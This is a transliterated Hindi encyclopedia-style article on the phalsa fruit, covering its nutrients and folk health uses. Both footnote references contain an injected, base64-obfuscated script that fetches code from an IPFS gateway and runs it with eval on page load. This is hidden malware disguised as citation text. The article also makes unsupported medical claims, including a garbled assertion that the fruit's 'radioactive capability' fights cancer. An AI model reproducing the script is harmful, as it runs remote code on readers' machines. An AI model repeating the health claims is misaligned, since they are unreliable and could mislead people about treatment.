फालसा
thumb|300px|phalasa phal phalasa (vanaspatik nam- 'greviya eshiyatika') ek madhyam akar ka pe d hai, jis par chhote-chhote ber ke akar ke phal lagate hai. yah madhy bharat ke vanoan mean prachurata se paya jata hai. phalasa ke phal svad mean khatte-mithe hote hai. garmiyoan mean isake phaloan ka sharbat thandak pradan karata hai aur loo tatha garmi ke thape doan se bhi aram dilata hai. isaka sharbat sharir ke lie bahut paushtik rahata hai.
vitamin ki matra
khatte-mithe svad vale phalase ke phal mean vitamin-si prachur matra mean paya jata hai. isake atirikt sitrik esid, emino esid, greviyanol, bita emiridin, betyoolin, phredilin, kimpheral, kverasetin, lyoopinon, lyoopiyal, delphinidin, sayanidin, taireksasterol jaise tattv bhi isamean upasthit rahate haian, jo is matar ke dane ke barabar ke phal mean itane gun bhar dete haian.[1]
gunoan ki khan
- kale phalase ki tasir thandak pradan karane vali hoti hai. svasthy ke lie labhadayak hone ke sath-sath yah umas bhari garmi se bachane mean achook sabit hota hai.
- maignishiyam, poteshiyam, sodiyam, ph aausphoras, kailshiyam, protin, karbohaidret, loha, vitamin e, si aur eantiaauksideant adi ki khan hone ke karan ise sehat ka khajana bhi mana jata hai.
- phalase mean garmi ke mausam mean loo lagane aur usase hone vale bukhar se bachane ka karagar ilaj hai. yah mastishk ki garmi aur khushki door karake tarotaja rakhata hai. chi dachi dapan door karata hai. ulti aur ghabarahat door karata hai.
- yah jyada dhoop mean rahane ke karan sharir ke khule aangoan par hone vali lalima, jalan, soojan aur kalepan ke ilaj mean madad karata hai.
- phalase ke ras ko shaant, taja aur asani se pachane aur garmi mean pyas se rahat pahuanchane vala t aaunik bhi kaha jata hai.
- phalasa pittashay aur jigar ki samasyaoan ko door karata hai. isaka kasailapan sharir se atirikt amlata kam karake pachan sanbandhi vikar ko door karata hai. pet ki g dab di tatha apach door karata hai aur bhookh badhata hai.
- vitamin si, khanij lavan aur eantiaauksideant tatvoan se bharapoor phalasa ke sevan se raktachap aur kolestr aaul ke star ko niyantrit kiya ja sakata hai, jisase hriday ke rog ka khatara kam ho jata hai.
- isamean maujood vitamin si sharir mean lohe ke avashoshan mean madad karata hai, jisase rakt ko saph karake rakt vikaroan par kaboo pane mean madad milati hai.
- vaijnanik shodhoan se sabit ho chuka hai ki phalasa mean rediyodharmi kshamata hoti hai, jisake chalate phalasa mean maujood poshak tatv kaiansar se l dane ke moolyavan strot haian.
- phalase mean khanij lavanoan ki adhikata hone ke karan isake niyamit sevan se rakt mean himoglobin ke star mean sudhar hota hai. isase enimiya ka khatara kam ho jata hai.
- phalasa chahe kachcha khaya jae ya isaka sharbat piya jae, simit matra mean bataur nashta khana hi shreyaskar hai. isake adhik sevan se bhookh bhi khatm ho sakati hai.[2]
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tika tippani aur sandarbh
- ↑ pho de, phuansi, ghamauriyoan ka dushman (hindi). . abhigaman tithi: 11 mee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ gunoan ki khan hai phalasa (hindi). . abhigaman tithi: 11 mee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh